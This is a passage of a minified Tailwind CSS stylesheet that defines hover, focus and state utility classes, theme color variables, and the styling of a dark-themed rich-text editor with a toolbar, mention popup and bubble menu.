(color:color-mix(in lab,red,red)){.hover\:border-yellow-500\/60:hover{border-color:color-mix(in oklab,var(--color-yellow-500)60%,transparent)}}.hover\:bg-\[\#0a1628\]:hover{background-color:#0a1628}.hover\:bg-\[\#0a1628\]\/80:hover{background-color:#0a1628cc}.hover\:bg-\[\#1a3050\]:hover{background-color:#1a3050}.hover\:bg-\[\#2da396\]:hover{background-color:#2da396}.hover\:bg-\[\#06AD51\]:hover{background-color:#06ad51}.hover\:bg-\[\#07C160\]\/10:hover{background-color:#07c1601a}.hover\:bg-\[\#20B2AA\]:hover{background-color:#20b2aa}.hover\:bg-\[\#38bdac\]\/10:hover{background-color:#38bdac1a}.hover\:bg-\[\#38bdac\]\/20:hover{background-color:#38bdac33}.hover\:bg-\[\#162840\]:hover{background-color:#162840}.hover\:bg-\[\#162840\]\/30:hover{background-color:#1628404d}.hover\:bg-\[\#162840\]\/50:hover{background-color:#16284080}.hover\:bg-amber-500\/10:hover{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/10:hover{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.hover\:bg-amber-500\/20:hover{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/20:hover{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.hover\:bg-amber-600:hover{background-color:var(--color-amber-600)}.hover\:bg-blue-400\/10:hover{background-color:#54a2ff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-400\/10:hover{background-color:color-mix(in oklab,var(--color-blue-400)10%,transparent)}}.hover\:bg-blue-500\/20:hover{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-500\/20:hover{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.hover\:bg-gray-500:hover{background-color:var(--color-gray-500)}.hover\:bg-gray-500\/20:hover{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-500\/20:hover{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.hover\:bg-gray-700:hover{background-color:var(--color-gray-700)}.hover\:bg-gray-700\/50:hover{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-700\/50:hover{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.hover\:bg-gray-800:hover{background-color:var(--color-gray-800)}.hover\:bg-green-500\/20:hover{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.hover\:bg-green-500\/20:hover{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.hover\:bg-green-700:hover{background-color:var(--color-green-700)}.hover\:bg-orange-500\/10:hover{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/10:hover{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.hover\:bg-orange-500\/20:hover{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/20:hover{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.hover\:bg-orange-600:hover{background-color:var(--color-orange-600)}.hover\:bg-purple-500\/10:hover{background-color:#ac4bff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/10:hover{background-color:color-mix(in oklab,var(--color-purple-500)10%,transparent)}}.hover\:bg-purple-500\/20:hover{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/20:hover{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.hover\:bg-purple-500\/30:hover{background-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/30:hover{background-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.hover\:bg-red-500\/10:hover{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/10:hover{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.hover\:bg-red-500\/20:hover{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/20:hover{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.hover\:bg-red-700:hover{background-color:var(--color-red-700)}.hover\:bg-red-800\/50:hover{background-color:#9f071280}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-800\/50:hover{background-color:color-mix(in oklab,var(--color-red-800)50%,transparent)}}.hover\:bg-white\/5:hover{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/5:hover{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.hover\:bg-white\/20:hover{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/20:hover{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.hover\:bg-yellow-500\/20:hover{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/20:hover{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.hover\:bg-yellow-500\/30:hover{background-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/30:hover{background-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.hover\:text-\[\#2da396\]:hover{color:#2da396}.hover\:text-\[\#5fe0cd\]:hover{color:#5fe0cd}.hover\:text-\[\#38bdac\]:hover{color:#38bdac}.hover\:text-amber-200:hover{color:var(--color-amber-200)}.hover\:text-amber-300:hover{color:var(--color-amber-300)}.hover\:text-amber-400:hover{color:var(--color-amber-400)}.hover\:text-blue-300:hover{color:var(--color-blue-300)}.hover\:text-blue-400:hover{color:var(--color-blue-400)}.hover\:text-gray-300:hover{color:var(--color-gray-300)}.hover\:text-orange-400:hover{color:var(--color-orange-400)}.hover\:text-red-300:hover{color:var(--color-red-300)}.hover\:text-red-400:hover{color:var(--color-red-400)}.hover\:text-sky-200:hover{color:var(--color-sky-200)}.hover\:text-white:hover{color:var(--color-white)}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-100:hover{opacity:1}}.focus\:border-\[\#38bdac\]:focus{border-color:#38bdac}.focus\:border-orange-500\/50:focus{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.focus\:border-orange-500\/50:focus{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.focus\:bg-\[\#38bdac\]\/20:focus{background-color:#38bdac33}.focus\:ring-2:focus{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus\:ring-\[\#38bdac\]:focus{--tw-ring-color:#38bdac}.focus\:ring-amber-400:focus{--tw-ring-color:var(--color-amber-400)}.focus\:ring-offset-2:focus{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus\:outline-none:focus{--tw-outline-style:none;outline-style:none}.focus-visible\:ring-0:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-2:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(3px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[\#38bdac\]:focus-visible{--tw-ring-color:#38bdac}.focus-visible\:ring-red-500:focus-visible{--tw-ring-color:var(--color-red-500)}.focus-visible\:ring-offset-0:focus-visible{--tw-ring-offset-width:0px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-\[\#0a1628\]:focus-visible{--tw-ring-offset-color:#0a1628}.focus-visible\:outline-none:focus-visible{--tw-outline-style:none;outline-style:none}.active\:cursor-grabbing:active{cursor:grabbing}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.has-\[\>svg\]\:px-2\.5:has(>svg){padding-inline:calc(var(--spacing)*2.5)}.has-\[\>svg\]\:px-3:has(>svg){padding-inline:calc(var(--spacing)*3)}.has-\[\>svg\]\:px-4:has(>svg){padding-inline:calc(var(--spacing)*4)}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y:calc(var(--spacing)*1);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=active\]\:bg-\[\#07C160\]\/20[data-state=active]{background-color:#07c16033}.data-\[state\=active\]\:bg-\[\#26A17B\]\/20[data-state=active]{background-color:#26a17b33}.data-\[state\=active\]\:bg-\[\#38bdac\]\/20[data-state=active]{background-color:#38bdac33}.data-\[state\=active\]\:bg-\[\#1677FF\]\/20[data-state=active]{background-color:#1677ff33}.data-\[state\=active\]\:bg-\[\#003087\]\/20[data-state=active]{background-color:#00308733}.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.data-\[state\=active\]\:font-medium[data-state=active]{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.data-\[state\=active\]\:text-\[\#07C160\][data-state=active]{color:#07c160}.data-\[state\=active\]\:text-\[\#26A17B\][data-state=active]{color:#26a17b}.data-\[state\=active\]\:text-\[\#38bdac\][data-state=active]{color:#38bdac}.data-\[state\=active\]\:text-\[\#169BD7\][data-state=active]{color:#169bd7}.data-\[state\=active\]\:text-\[\#1677FF\][data-state=active]{color:#1677ff}.data-\[state\=active\]\:text-amber-400[data-state=active]{color:var(--color-amber-400)}.data-\[state\=active\]\:text-purple-400[data-state=active]{color:var(--color-purple-400)}.data-\[state\=active\]\:shadow[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.data-\[state\=checked\]\:translate-x-4[data-state=checked]{--tw-translate-x:calc(var(--spacing)*4);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=checked\]\:bg-\[\#38bdac\][data-state=checked]{background-color:#38bdac}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=unchecked\]\:bg-gray-600[data-state=unchecked]{background-color:var(--color-gray-600)}@media(min-width:40rem){.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:calc(var(--spacing)*2)}.sm\:text-left{text-align:left}}@media(min-width:48rem){.md\:col-span-2{grid-column:span 2/span 2}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.md\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}}@media(min-width:64rem){.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-8{grid-template-columns:repeat(8,minmax(0,1fr))}}@media(min-width:80rem){.xl\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.\[\&_tr\]\:border-b tr{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.\[\&_tr\:last-child\]\:border-0 tr:last-child{border-style:var(--tw-border-style);border-width:0}.\[\&\:has\(\[role\=checkbox\]\)\]\:pr-0:has([role=checkbox]){padding-right:calc(var(--spacing)*0)}.\[\&\>span\]\:line-clamp-1>span{-webkit-line-clamp:1;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}}:root{--background:oklch(14.5% 0 0);--foreground:oklch(98.5% 0 0);--card:oklch(20% .02 240);--card-foreground:oklch(98.5% 0 0);--popover:oklch(20% .02 240);--popover-foreground:oklch(98.5% 0 0);--primary:oklch(65% .15 180);--primary-foreground:oklch(20% 0 0);--secondary:oklch(27% 0 0);--secondary-foreground:oklch(98.5% 0 0);--muted:oklch(27% 0 0);--muted-foreground:oklch(65% 0 0);--accent:oklch(27% 0 0);--accent-foreground:oklch(98.5% 0 0);--destructive:oklch(55% .2 25);--destructive-foreground:oklch(98.5% 0 0);--border:oklch(35% 0 0);--input:oklch(35% 0 0);--ring:oklch(65% .15 180);--radius:.625rem}body{font-family:var(--font-sans);color:var(--foreground);background:#0a1628}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-scale-x{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-y{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-z{syntax:"*";inherits:false;initial-value:1}@property --tw-rotate-x{syntax:"*";inherits:false}@property --tw-rotate-y{syntax:"*";inherits:false}@property --tw-rotate-z{syntax:"*";inherits:false}@property --tw-skew-x{syntax:"*";inherits:false}@property --tw-skew-y{syntax:"*";inherits:false}@property --tw-pan-x{syntax:"*";inherits:false}@property --tw-pan-y{syntax:"*";inherits:false}@property --tw-pinch-zoom{syntax:"*";inherits:false}@property --tw-space-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-space-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-divide-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-divide-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-gradient-position{syntax:"*";inherits:false}@property --tw-gradient-from{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-via{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-to{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-stops{syntax:"*";inherits:false}@property --tw-gradient-via-stops{syntax:"*";inherits:false}@property --tw-gradient-from-position{syntax:"";inherits:false;initial-value:0%}@property --tw-gradient-via-position{syntax:"";inherits:false;initial-value:50%}@property --tw-gradient-to-position{syntax:"";inherits:false;initial-value:100%}@property --tw-leading{syntax:"*";inherits:false}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-tracking{syntax:"*";inherits:false}@property --tw-ordinal{syntax:"*";inherits:false}@property --tw-slashed-zero{syntax:"*";inherits:false}@property --tw-numeric-figure{syntax:"*";inherits:false}@property --tw-numeric-spacing{syntax:"*";inherits:false}@property --tw-numeric-fraction{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-duration{syntax:"*";inherits:false}@keyframes spin{to{transform:rotate(360deg)}} +.rich-editor-wrapper{border:1px solid #374151;border-radius:.5rem;background:#0a1628;overflow:hidden}.rich-editor-toolbar{display:flex;align-items:center;gap:2px;padding:6px 8px;border-bottom:1px solid #374151;background:#0f1d32;flex-wrap:wrap}.toolbar-group{display:flex;align-items:center;gap:1px}.toolbar-divider{width:1px;height:20px;background:#374151;margin:0 4px}.rich-editor-toolbar button{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer;transition:all .15s}.rich-editor-toolbar button:hover{background:#1f2937;color:#d1d5db}.rich-editor-toolbar button.is-active{background:#38bdac33;color:#38bdac}.rich-editor-toolbar button:disabled{opacity:.3;cursor:not-allowed}.link-tag-select{background:#0a1628;border:1px solid #374151;color:#d1d5db;font-size:12px;padding:2px 6px;border-radius:4px;cursor:pointer;max-width:160px}.link-input-bar{display:flex;align-items:center;gap:4px;padding:4px 8px;border-bottom:1px solid #374151;background:#0f1d32}.link-input{flex:1;background:#0a1628;border:1px solid #374151;color:#fff;padding:4px 8px;border-radius:4px;font-size:13px}.link-confirm,.link-remove{padding:4px 10px;border-radius:4px;border:none;font-size:12px;cursor:pointer}.link-confirm{background:#38bdac;color:#fff}.link-remove{background:#374151;color:#9ca3af}.rich-editor-content{min-height:450px;max-height:720px;overflow-y:auto;padding:12px 16px;color:#e5e7eb;font-size:14px;line-height:1.7}.rich-editor-content:focus{outline:none}.rich-editor-content h1{font-size:1.5em;font-weight:700;margin:.8em 0 .4em;color:#fff}.rich-editor-content h2{font-size:1.3em;font-weight:600;margin:.7em 0 .3em;color:#fff}.rich-editor-content h3{font-size:1.15em;font-weight:600;margin:.6em 0 .3em;color:#fff}.rich-editor-content p{margin:.4em 0}.rich-editor-content strong{color:#fff}.rich-editor-content code{background:#1f2937;padding:2px 6px;border-radius:3px;font-size:.9em;color:#38bdac}.rich-editor-content pre{background:#1f2937;padding:12px;border-radius:6px;overflow-x:auto;margin:.6em 0}.rich-editor-content blockquote{border-left:3px solid #38bdac;padding-left:12px;margin:.6em 0;color:#9ca3af}.rich-editor-content ul,.rich-editor-content ol{padding-left:1.5em;margin:.4em 0}.rich-editor-content li{margin:.2em 0}.rich-editor-content hr{border:none;border-top:1px solid #374151;margin:1em 0}.rich-editor-content img{max-width:100%;border-radius:6px;margin:.5em 0}.rich-editor-content a,.rich-link{color:#38bdac;text-decoration:underline;cursor:pointer}.rich-editor-content table{border-collapse:collapse;width:100%;margin:.5em 0}.rich-editor-content th,.rich-editor-content td{border:1px solid #374151;padding:6px 10px;text-align:left}.rich-editor-content th{background:#1f2937;font-weight:600}.rich-editor-content .ProseMirror-placeholder:before{content:attr(data-placeholder);color:#6b7280;float:left;height:0;pointer-events:none}.mention-tag{background:#38bdac26;color:#38bdac;border-radius:4px;padding:1px 4px;font-weight:500}.link-tag-node{background:#ffd7001f;color:gold;border-radius:4px;padding:1px 4px;font-weight:500;cursor:default;-webkit-user-select:all;user-select:all}.mention-popup{position:fixed;z-index:9999;background:#1a2638;border:1px solid #374151;border-radius:8px;padding:4px;min-width:180px;max-height:240px;overflow-y:auto;box-shadow:0 4px 20px #0006}.mention-item{display:flex;align-items:center;justify-content:space-between;padding:6px 10px;border-radius:4px;cursor:pointer;color:#d1d5db;font-size:13px}.mention-item:hover,.mention-item.is-selected{background:#38bdac26;color:#38bdac}.mention-name{font-weight:500}.mention-id{font-size:11px;color:#6b7280}.bubble-menu{display:flex;gap:2px;background:#1a2638;border:1px solid #374151;border-radius:6px;padding:4px;box-shadow:0 4px 12px #0000004d}.bubble-menu button{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer}.bubble-menu button:hover{background:#1f2937;color:#d1d5db}.bubble-menu button.is-active{color:#38bdac}/*! tailwindcss v4.1.18 | MIT License | https://tailwindcss.com */@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-scale-x:1;--tw-scale-y:1;--tw-scale-z:1;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-pan-x:initial;--tw-pan-y:initial;--tw-pinch-zoom:initial;--tw-space-y-reverse:0;--tw-space-x-reverse:0;--tw-divide-x-reverse:0;--tw-border-style:solid;--tw-divide-y-reverse:0;--tw-gradient-position:initial;--tw-gradient-from:#0000;--tw-gradient-via:#0000;--tw-gradient-to:#0000;--tw-gradient-stops:initial;--tw-gradient-via-stops:initial;--tw-gradient-from-position:0%;--tw-gradient-via-position:50%;--tw-gradient-to-position:100%;--tw-leading:initial;--tw-font-weight:initial;--tw-tracking:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-duration:initial}}}@layer theme{:root,:host{--font-sans:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--font-mono:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--color-red-100:oklch(93.6% .032 17.717);--color-red-300:oklch(80.8% .114 19.571);--color-red-400:oklch(70.4% .191 22.216);--color-red-500:oklch(63.7% .237 25.331);--color-red-600:oklch(57.7% .245 27.325);--color-red-700:oklch(50.5% .213 27.518);--color-red-800:oklch(44.4% .177 26.899);--color-red-900:oklch(39.6% .141 25.723);--color-orange-300:oklch(83.7% .128 66.29);--color-orange-400:oklch(75% .183 55.934);--color-orange-500:oklch(70.5% .213 47.604);--color-orange-600:oklch(64.6% .222 41.116);--color-amber-200:oklch(92.4% .12 95.746);--color-amber-300:oklch(87.9% .169 91.605);--color-amber-400:oklch(82.8% .189 84.429);--color-amber-500:oklch(76.9% .188 70.08);--color-amber-600:oklch(66.6% .179 58.318);--color-yellow-400:oklch(85.2% .199 91.936);--color-yellow-500:oklch(79.5% .184 86.047);--color-green-300:oklch(87.1% .15 154.449);--color-green-400:oklch(79.2% .209 151.711);--color-green-500:oklch(72.3% .219 149.579);--color-green-600:oklch(62.7% .194 149.214);--color-green-700:oklch(52.7% .154 150.069);--color-emerald-400:oklch(76.5% .177 163.223);--color-emerald-500:oklch(69.6% .17 162.48);--color-cyan-400:oklch(78.9% .154 211.53);--color-cyan-500:oklch(71.5% .143 215.221);--color-sky-200:oklch(90.1% .058 230.902);--color-sky-300:oklch(82.8% .111 230.318);--color-blue-300:oklch(80.9% .105 251.813);--color-blue-400:oklch(70.7% .165 254.624);--color-blue-500:oklch(62.3% .214 259.815);--color-purple-400:oklch(71.4% .203 305.504);--color-purple-500:oklch(62.7% .265 303.9);--color-rose-400:oklch(71.2% .194 13.428);--color-gray-200:oklch(92.8% .006 264.531);--color-gray-300:oklch(87.2% .01 258.338);--color-gray-400:oklch(70.7% .022 261.325);--color-gray-500:oklch(55.1% .027 264.364);--color-gray-600:oklch(44.6% .03 256.802);--color-gray-700:oklch(37.3% .034 259.733);--color-gray-800:oklch(27.8% .033 256.848);--color-black:#000;--color-white:#fff;--spacing:.25rem;--container-xs:20rem;--container-sm:24rem;--container-md:28rem;--container-lg:32rem;--container-2xl:42rem;--container-3xl:48rem;--container-4xl:56rem;--text-xs:.75rem;--text-xs--line-height:calc(1/.75);--text-sm:.875rem;--text-sm--line-height:calc(1.25/.875);--text-base:1rem;--text-base--line-height: 1.5 ;--text-lg:1.125rem;--text-lg--line-height:calc(1.75/1.125);--text-xl:1.25rem;--text-xl--line-height:calc(1.75/1.25);--text-2xl:1.5rem;--text-2xl--line-height:calc(2/1.5);--text-3xl:1.875rem;--text-3xl--line-height: 1.2 ;--text-4xl:2.25rem;--text-4xl--line-height:calc(2.5/2.25);--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--font-weight-bold:700;--tracking-tight:-.025em;--tracking-wider:.05em;--leading-tight:1.25;--leading-relaxed:1.625;--radius-sm:.25rem;--radius-md:.375rem;--radius-lg:.5rem;--radius-xl:.75rem;--radius-2xl:1rem;--animate-spin:spin 1s linear infinite;--blur-xl:24px;--blur-3xl:64px;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4,0,.2,1);--default-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--default-mono-font-family:var(--font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;line-height:1.5;font-family:var(--default-font-family,ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier 